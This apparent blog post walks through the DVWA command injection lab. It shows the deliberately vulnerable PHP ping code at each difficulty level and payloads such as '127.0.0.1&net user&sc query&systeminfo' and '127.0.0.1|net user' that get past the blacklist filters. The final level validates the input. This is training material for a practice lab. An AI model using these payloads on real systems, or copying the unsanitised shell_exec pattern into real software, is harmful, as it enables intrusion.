DVWA command injection

Keywords: Windows PHP

Command injection is to destroy the command statement structure by submitting maliciously constructed parameters, so as to achieve the purpose of executing maliciously constructed commands. PHP command injection attack vulnerability is one of the common script vulnerabilities in PHP applications. The famous Web applications in China, such as Discuz!, DedeCMS and so on, have existed this type of vulnerability.

Low
First on the source code!

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

Execute 127.0.0.1 & & net user

Execute 127.0.0.1 & & net user & & ver command

Execute 127.0.0.1 & & net user & & getmac

Medium level
The source code is as follows:

 <?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

It can be seen that compared with the Low level code, the server side filters the ip parameters to a certain extent, that is to say, "delete" & & ","; ", essentially using the blacklist mechanism, so there are still security problems.

127.0.0.1&net user
Because only "& &" and ";" are filtered, "&" will not be affected.

What should be noted here is the difference between "& &" and "&":
Command 1&&Command 2
Execute Command 1 first, and Command 2 after successful execution, otherwise Command 2 will not be executed

Command 1&Command 2
Execute Command 1 first, and Command 2 will be executed whether it is successful or not

Execute the following command to see the user, service and system information of the system
127.0.0.1&net user&sc query&systeminfo

Because STR is used_ Replace replaces "& &", ";" with empty characters, so you can bypass it in the following ways:
127.0.0.1&;&ipconfig

high level
The source code is as follows

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

Compared with the Medium level code, the High level code further improves the blacklist, but due to the limitations of the blacklist mechanism, we can still bypass it
The blacklist seems to filter all illegal characters, but it is carefully observed that "|" (note that there is a space after "|) is replaced by an empty character, so" | "becomes a" fish in the net ".
127.0.0.1|net user

Impossible level
Missing code:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

The CSRF token ring mechanism is added here, and the parameter ip is strictly limited. Only the input such as "number. Number. Number. Number" can be received and executed, so there is no command injection vulnerability.

reference resources

https://www.freebuf.com/articles/web/116714.html

Posted by coverman on Thu, 04 Jun 2020 06:13:05 -0700